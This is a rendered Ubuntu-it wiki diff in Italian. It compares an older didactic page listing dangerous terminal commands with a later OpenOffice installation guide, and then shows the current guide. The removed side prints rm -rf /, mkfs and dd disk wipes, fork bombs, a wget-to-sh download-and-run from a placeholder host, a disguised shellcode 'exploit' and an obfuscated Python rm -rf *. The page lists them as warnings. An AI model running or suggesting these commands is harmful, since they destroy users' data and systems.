Wiki Ubuntu-it

Indice
Partecipa
FAQ
Wiki Blog
------------------
Ubuntu-it.org
Forum
Chiedi
Chat
Cerca
Planet
  • Pagina non alterabile
  • Informazioni
  • Allegati
  • Differenze per "andreas-xavier/prova7"
Differenze tra le versioni 5 e 22 (in 17 versioni)
Versione 5 del 06/04/2017 11.41.10
Dimensione: 7660
Commento:
Versione 22 del 04/11/2017 02.40.06
Dimensione: 5966
Commento:
Le cancellazioni sono segnalate in questo modo. Le aggiunte sono segnalate in questo modo.
Linea 1: Linea 1:
## page was renamed from ComandiDannosi ## page was renamed from Openoffice.org
Linea 5: Linea 5:
<<Indice(width=2)>>
<<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>>
<<Indice>>
<<Informazioni(rilasci="16.04 17.10"; forum="http://forum.ubuntu-it.org/viewtopic.php?t=440682")>> 
Linea 10: Linea 10:
A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi. '''Apache !OpenOffice''' è una suite per ufficio multipiattaforma e multilingua.<<BR>>Con il nome '''!OpenOffice.Org''' è stata la suite d'ufficio predefinita di Ubuntu fino alla versione '''10.10''', sostituita in seguito con '''[[Ufficio/LibreOffice|LibreOffice]]'''. Per informazioni sulle differenze fra le due suite consultare [[Ufficio/LibreOffice#Differenze_fra_LibreOffice_e_OpenOffice|questa pagina]].
Linea 12: Linea 12:
Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <<BR>>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host''). Nella seguente guida viene mostrato come installare la versione scaricabile dal sito ufficiale.
Linea 14: Linea 14:
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || = Operazioni preliminari =
Linea 16: Linea 16:
||<tablestyle="text-align: justify; width:600%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.''' || ||<tablestyle="text-align: justify; width:63%; " style="border:none;" 5% ^><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''L'installazione contemporanea di !OpenOffice e !LibreOffice è causa di conflitti nel sistema. Seguire le istruzioni riportate di seguito, a seconda della soluzione desiderata.'''||
Linea 18: Linea 18:
= Comandi da terminale =

<<Anchor(rm)>>
== Rimozione: rm ==

 * I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{
rm -rf /
rm -rf .
rm -rf *
 0. Eliminare il link simbolico `/usr/bin/soffice` digitando nel [[AmministrazioneSistema/Terminale|terminale]]:{{{
sudo rm /usr/bin/soffice
}}}
 0. Soltanto nel caso in cui si voglia utilizzare '''!OpenOffice''' senza '''!LibreOffice''', [[AmministrazioneSistema/InstallareProgrammi|disinstallare]] completamente quest'ultimo digitando nel [[AmministrazioneSistema/Terminale|terminale]]:{{{
sudo apt-get purge libreoffice*
Linea 29: Linea 25:
 * Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{
rm -r .*
Sarà dunque possibile proseguire con l'[[#install|installazione]] di '''!OpenOffice'''.

||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">Per ottimizzare la convivenza fra i due programmi è possibile ricorrere a modalità alternative per usufruire di !LibreOffice, una volta disinstallata la versione presente nei [[Repository|repository]]. Infatti il programma è disponibile anche tramite pacchetti [[Ufficio/LibreOffice#Tramite_pacchetto_snap_.28Ubuntu_16.04_e_superiori.29|snap]], [[Ufficio/LibreOffice#Tramite_pacchetto_Flatpak|flatpak]] e [[https://appimage.github.io/LibreOfficeDev/|AppImage]] (versione dev). ||

<<Anchor(install)>>
= Installazione =

 0. Scaricare il file `.tar.gz` da questo [[http://www.openoffice.org/download/|indirizzo]] selezionando:
  * l'opzione '''Linux 32-bit (x86) (DEB)''' oppure '''Linux 64-bit (x86-64) (DEB)''' a seconda della propria architettura nel menu a tendina.
  * l'opzione '''Italian''' nel menu a tendina.
  * il tasto '''Download full installation''' per avere già inclusa la lingua italiana.
 0. [[AmministrazioneSistema/FormatiDiCompressione#decomprimere|Estrarre]] il contenuto dell'archivio `.tar.gz` nella propria '''Home'''.
 0. Spostarsi nella cartella `DEBS` [[AmministrazioneSistema/ComandiBase#cd|con il terminale]] o [[AmbienteGrafico/FileManager|tramite file manager]] e [[AmministrazioneSistema/InstallareProgrammi/PacchettiDebian|installare i pacchetti]]. <<BR>>È possibile eseguire questa operazione con un unico comando digitando nel [[AmministrazioneSistema/Terminale|terminale]]: {{{
sudo dpkg -i *.deb
Linea 32: Linea 40:
 potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore.

 * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{
rm -r .[^.]*
 0. Allo stesso modo, spostarsi nella directory `desktop-integration`, quindi digitare nel [[AmministrazioneSistema/Terminale|terminale]] il seguente comando, per forzare l'installazione del pacchetto `.deb` presente nella cartella: {{{
sudo dpkg -i --force-all *.deb
Linea 38: Linea 44:
<<Anchor(mkfs)>>
== Formattazione: mkfs ==
= Lingua italiana =
Linea 41: Linea 46:
Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]]. I pacchetti di installazione comprendono già tutto l'occorrente per la localizzazione del software.
Linea 43: Linea 48:
Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`). Per modificare le impostazioni relative alla lingua utilizzare il menu '''''Strumenti → Opzioni → Impostazioni della lingua'''''.<<BR>>
Se vi è bisogno di realizzare un controllo ortografico di un solo paragrafo o di un intero testo:
 0. Selezionare il testo.
 0. Dal menu '''''Formato → Carattere''''' selezionare dal menu a tendina '''Lingua''' l'impostazione desiderata. [dal programma!!!]
Linea 45: Linea 53:
{{{
mkfs
mkfs.ext4
mkfs.ext4 /dev/sda1
}}}
= Aggiungere una collezione di clipart =
Linea 51: Linea 55:
<<Anchor(dd)>>
== Copia di blocchi di dati: dd ==
[verificare]<<BR>>
Per aggiungere una collezione di clipart in '''!OpenOffice''' è sufficiente [[AmministrazioneSistema/InstallareProgrammi|installare]] il pacchetto [[apt://openclipart | openclipart]].
Linea 54: Linea 58:
Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]). Una volta installato, fare clic su '''''Strumenti → Gallery'''''. Selezionare quindi l'immagine desiderata e col tasto destro del mouse scegliere tra le varie opzioni che appariranno nel menu a discesa.
Linea 56: Linea 60:
Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione:
 * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri;
 * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);
 * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali.
= Supporto ai documenti Open XML =
Linea 61: Linea 62:
<<Anchor(fork)>>
== Utilizzo sconsiderato di fork() ==
Consultare la [[/OdfConverter|relativa guida]].
[guida molto probabilmente obsoleta]
Linea 64: Linea 65:
L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre. = Velocizzare l'avvio del programma =
Linea 66: Linea 67:
Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{
:(){:|&};:
}}}
oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{
fork while fork
}}}
Per velocizzare l'avvio di '''!OpenOffice''' modificare alcuni parametri:
Linea 73: Linea 69:
<<Anchor(script)>>
== Esecuzione script ==
 0. [[AmbienteGrafico/AvviareProgrammi|Avviare]] '''!OpenOffice'''.
 0. Selezionare il menu '''''Strumenti → Opzioni'''''.
 0. In '''''!OpenOffice → Memoria Principale''''' modificare le seguenti opzioni aumentandone la dimensione:
   * '''Cache grafica'''
   * '''Memoria per oggetto'''
 0. Nella sezione '''Numero di oggetti''' indicare quanti tenerne in memoria.
 0. Nella scheda '''Java''' disabilitare '''Usa un ambiente runtime Java''' (questo disabiliterà alcune funzionalità del programma '''Base''').
Linea 76: Linea 77:
L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate. = Guide specifiche =
Linea 78: Linea 79:
Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{
wget http://sito_internet/prova.sh
sh ./prova.sh
}}} {{{
wget http://sito_internet/prova.sh -O- | sh
}}}
## * [:Ufficio/OpenOffice.org/ScrivereInMoinMoin:Convertire un documento di testo in formato MoinMoin]
 * [[/FileAccess|Operare su database di Access con OpenOffice]]
 * [[Server/MySql/OpenOfficeOdbc|Guida all'uso di OpenOffice con MySql]]
 * [[/OdfConverter|Supporto ai documenti Office Open XML]]
 * [[http://www.galileicrema.it/intraitis/Documenti/MaterialeDidattico/appuntiCalc_base.pdf|Approfondimenti su Calc]]
Linea 85: Linea 85:
<<Anchor(sorgente)>>
= Compilazione codice sorgente =
= Ulteriori risorse =
Linea 88: Linea 87:
È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.).  * [[http://it.openoffice.org/|Sito ufficiale del progetto]]
 * [[http://it.openoffice.org/doc/index.html|Documentazione ufficiale]]
Linea 90: Linea 90:
Un esempio di codice pericoloso è il seguente: {{{
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
}}}

Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{
rm -rf ~ / &
}}}
che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato.

= Archivi =
Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato nel [[AmministrazioneSistema/FormatiDiCompressione#tar|paragrafo dedicato ai file `.tar`]].

= Altri esempi =
L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
}}}
Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]].

<<Anchor(risorse)>>
= Ulteriori risorse =
 * [[AmministrazioneSistema/Terminale|Terminale]]
 * [[AmministrazioneSistema/ComandiBase|Comandi di base]]
 * [[AmministrazioneSistema/Filesystem|Filesystem]]
 * [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]]
 * [[http://www.chimerarevo.com/linux/comandi-terminale-non-eseguire-linux-180510/|Articolo su comandi pericolosi da terminale]]
 
Linea 127: Linea 91:
CategoryAmministrazione ##CategoryProduttivita CategoryDaRevisionare
CategoryHomepage


Problemi in questa pagina? Segnalali in questa discussione

Introduzione

Apache OpenOffice è una suite per ufficio multipiattaforma e multilingua.
Con il nome OpenOffice.Org è stata la suite d'ufficio predefinita di Ubuntu fino alla versione 10.10, sostituita in seguito con LibreOffice. Per informazioni sulle differenze fra le due suite consultare questa pagina.

Nella seguente guida viene mostrato come installare la versione scaricabile dal sito ufficiale.

Operazioni preliminari

L'installazione contemporanea di OpenOffice e LibreOffice è causa di conflitti nel sistema. Seguire le istruzioni riportate di seguito, a seconda della soluzione desiderata.

  1. Eliminare il link simbolico /usr/bin/soffice digitando nel terminale:

    sudo rm /usr/bin/soffice
  2. Soltanto nel caso in cui si voglia utilizzare OpenOffice senza LibreOffice, disinstallare completamente quest'ultimo digitando nel terminale:

    sudo apt-get purge libreoffice*

Sarà dunque possibile proseguire con l'installazione di OpenOffice.

Per ottimizzare la convivenza fra i due programmi è possibile ricorrere a modalità alternative per usufruire di LibreOffice, una volta disinstallata la versione presente nei repository. Infatti il programma è disponibile anche tramite pacchetti snap, flatpak e AppImage (versione dev).

Installazione

  1. Scaricare il file .tar.gz da questo indirizzo selezionando:

    • l'opzione Linux 32-bit (x86) (DEB) oppure Linux 64-bit (x86-64) (DEB) a seconda della propria architettura nel menu a tendina.

    • l'opzione Italian nel menu a tendina.

    • il tasto Download full installation per avere già inclusa la lingua italiana.

  2. Estrarre il contenuto dell'archivio .tar.gz nella propria Home.

  3. Spostarsi nella cartella DEBS con il terminale o tramite file manager e installare i pacchetti.
    È possibile eseguire questa operazione con un unico comando digitando nel terminale:

    sudo dpkg -i *.deb
  4. Allo stesso modo, spostarsi nella directory desktop-integration, quindi digitare nel terminale il seguente comando, per forzare l'installazione del pacchetto .deb presente nella cartella:

    sudo dpkg -i --force-all *.deb

Lingua italiana

I pacchetti di installazione comprendono già tutto l'occorrente per la localizzazione del software.

Per modificare le impostazioni relative alla lingua utilizzare il menu Strumenti → Opzioni → Impostazioni della lingua.
Se vi è bisogno di realizzare un controllo ortografico di un solo paragrafo o di un intero testo:

  1. Selezionare il testo.
  2. Dal menu Formato → Carattere selezionare dal menu a tendina Lingua l'impostazione desiderata. [dal programma!!!]

Aggiungere una collezione di clipart

[verificare]
Per aggiungere una collezione di clipart in OpenOffice è sufficiente installare il pacchetto openclipart.

Una volta installato, fare clic su Strumenti → Gallery. Selezionare quindi l'immagine desiderata e col tasto destro del mouse scegliere tra le varie opzioni che appariranno nel menu a discesa.

Supporto ai documenti Open XML

Consultare la relativa guida. [guida molto probabilmente obsoleta]

Velocizzare l'avvio del programma

Per velocizzare l'avvio di OpenOffice modificare alcuni parametri:

  1. Avviare OpenOffice.

  2. Selezionare il menu Strumenti → Opzioni.

  3. In OpenOffice → Memoria Principale modificare le seguenti opzioni aumentandone la dimensione:

    • Cache grafica

    • Memoria per oggetto

  4. Nella sezione Numero di oggetti indicare quanti tenerne in memoria.

  5. Nella scheda Java disabilitare Usa un ambiente runtime Java (questo disabiliterà alcune funzionalità del programma Base).

Guide specifiche

Ulteriori risorse


CategoryHomepage